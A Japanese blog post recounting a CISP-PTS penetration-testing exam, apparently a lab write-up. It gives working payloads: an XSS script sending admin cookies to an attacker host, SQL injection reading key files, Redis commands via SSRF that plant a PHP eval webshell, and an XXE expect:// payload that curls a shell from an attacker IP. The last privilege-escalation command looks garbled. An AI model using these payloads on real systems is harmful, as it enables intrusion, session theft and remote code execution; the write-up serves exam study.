banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

cisp-pts試験記録

pts の試験は、申し込みから試験まで半月もかからず、問題を解く基礎があれば簡単に合格できます。多くの問題は、もしトレーニングを受けていれば基本的にそのままの問題ですが、トレーニング機関でも知らない問題もあります。例えば、今回の試験の最後の大問では、最も内部のサービスが nacos であり、nacos には exp がありません。一般的な弱いパスワードを試みましたが、入れなかったのでそのままにしました。最も簡単な問題は 2 つの key(20 点)しかなく、前の key をすべて取得できれば問題なく 80 点は確保でき、70 点以上あれば合格です。

私が試験で遭遇した問題について説明します。

シナリオ 1#

xss+sqli + ファイル読み取り、比較的簡単です。

xss では攻撃マシンで python を使って web サービスを起動し、payload を挿入します。ここでは、ストレージ型 xss の脆弱性を利用して payload を書き込み、管理者の cookie を取得します。

<script>document.write('<img src="http://ip:1234/?cookie='+document.cookie+'" />')</script>

管理者の cookie を取得します。

ブラウザの右クリックページ-検査を選択し、アプリケーションを選び、ストレージ-クッキーを見つけて、管理者の cookie に置き換えます。

Pasted image 20241028150907

sqli payload

http://ip:3603/admin/edit.php?id=12312/**/UniOn/**/SeLEct/**/1,2,load_file("/var/key2"),4#

または sqlmap を実行します。

http://IP:3603/admin/edit.php?id=11 (GET)  
# sqlmap.py -u http://10.52.0.29:3603/admin/edit.php?id=11 --cookie=PHPSESSID=732ece3c4dcdba588d48593d689bf927 --dbms mysql --file-read /var/key2

任意のファイル読み取り

http://IP:3603/admin/setting.php?page=/tmp/key3

シナリオ 2#

ssrf+redis getshell

ssrf:ディレクトリスキャン robots.txt、backup.zip をダウンロードし、解凍して txt ファイルを取得します。web ポートが与えられ、問題の検索ボックスにhttp://localhost:1234 を入力して最初の key を取得します。

redis getshell:

webshell を書きます。

dict://localhost:6379/flushall
dict://localhost:6379/set:1:'<?php eval($_POST[1]);?>'
dict://localhost:6379/config:set:dir:/var/www/html/app1
dict://localhost:6379/config:set:dbfilename:a.php
dict://localhost:6379/save

秘密鍵を書きます。

Pasted image 20241028151536

2 つ目の key を取得し、3 つ目の key はタスクスケジュールにあります。

シナリオ 3#

xxe 脆弱性の一つです。

expect を使って webshell を書き込みます。expect はコマンドを実行でき、攻撃機で web サービスを起動し、curl でリクエストします。

コマンドを実行

<?xml version="1.0"?><!DOCTYPE a[<!ENTITY b SYSTEM "expect://id">]><p>&b;</p>

シェルを書き込む

<?xml version="1.0"?><!DOCTYPE a[<!ENTITY b SYSTEM "expect://curl$IFS$9-O$IFS$9'192.168.80.48:8088/shell.php'">]><p>&b;</p>

権限昇格

find / -perm -u=s -type f 2>/dev/null
find 1 -exec 1s /root \;
読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。